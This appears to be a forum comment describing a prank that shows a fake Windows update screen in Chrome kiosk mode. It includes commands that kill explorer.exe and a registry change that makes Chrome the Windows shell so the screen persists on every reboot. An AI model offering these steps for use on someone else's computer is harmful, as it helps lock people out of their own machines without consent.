Here's an even meaner prank. Make it just a tad more difficult on them.
Set chrome in kiosk mode, so they can't switch out of the browser.
Unfortunately 'Alt + F4' still works, but they'd have to know that ahead of time.
And then kill off `explorer.exe` so they can't press the windows key.
You can either set this up as a bat, or you can do all of this from the Task Manager.

```
chrome --chrome-frame --kiosk "http://fakeupdate.net/win10/"
taskkill /f /im explorer.exe
```

And to really piss them off, set it up such that every time they reboot it just goes straight to the update screen

You can set Chrome to run as the Windows shell instead of explorer.exe. Just set the registry

```
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Shell =
[chrome path]
```